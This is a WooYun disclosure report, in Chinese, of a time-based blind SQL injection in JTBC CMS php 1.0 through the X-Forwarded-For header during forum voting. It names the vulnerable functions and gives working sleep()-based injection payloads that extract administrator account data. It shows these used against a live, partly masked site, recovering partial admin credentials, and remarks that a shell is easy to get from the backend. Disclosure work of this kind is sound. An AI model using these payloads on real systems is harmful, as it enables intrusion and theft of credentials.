当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046456

漏洞标题:JTBC(CMS) php1.0版存在SQL盲注漏洞

相关厂商:JTBC(CMS)

漏洞作者: Mody

提交时间:2013-12-19 15:55

修复时间:2014-03-19 15:56

公开时间:2014-03-19 15:56

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

jtbc cms php1.0版SQL注入,http头时间盲注
手工注的,注了好久,拿工具没跑出来,注入中转没成功,小菜太菜了,求乌云大牛构造

详细说明:

论坛投票时,会通过x-forward-for获取投票用户ip,但是未验证ip格式,带入sql查询,导致注入
1.
文件:/common/incfiles/function.inc.php
函数:function ii_get_client_ip();通过$_SERVER['HTTP_X_FORWARDED_FOR']获取ip,未验证格式
2.
文件:/forum/common/incfiles/module_config.inc.php
函数:function jtbc_cms_module_topic_releasedisp()
function jtbc_cms_module_topic_replydisp();
function jtbc_cms_module_topic_votedisp();
funnction jtbc_cms_module_action();
这写函数调用ii_get_client_ip();由于限制,函数jtbc_cms_module_topic_votedisp();可以成功注入。

漏洞证明:

以www.***.net为例
随便注册一个会员,发起投票,然后在点击投票的时候进行抓包,在http请头头加入

2013-12-19 14:29:02的屏幕截图.png


1.获取管理员账户个数
x-forward-for: ' and 1=2 union select(if(select count(*) from jtbc_admin)=1,sleep(10),null),null,null,null,null,null;-- a
sleep(10) 执行
2.获取管理员name
x-forward-for: ' and 1=2 union select(if(select ASCII(substr(a_name,1,1)) from jtbc_admin)<98,sleep(10),null),null,null,null,null,null;-- a
....
同上构造语句,获得用户名和密码如下:
w*m
w*ming**
登陆如下

2013-12-19 14:38:21的屏幕截图.png


jtbc后台拿shell很简单,能够直接修改php代码

修复方案:

验证ip格式

版权声明:转载请注明来源 Mody@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝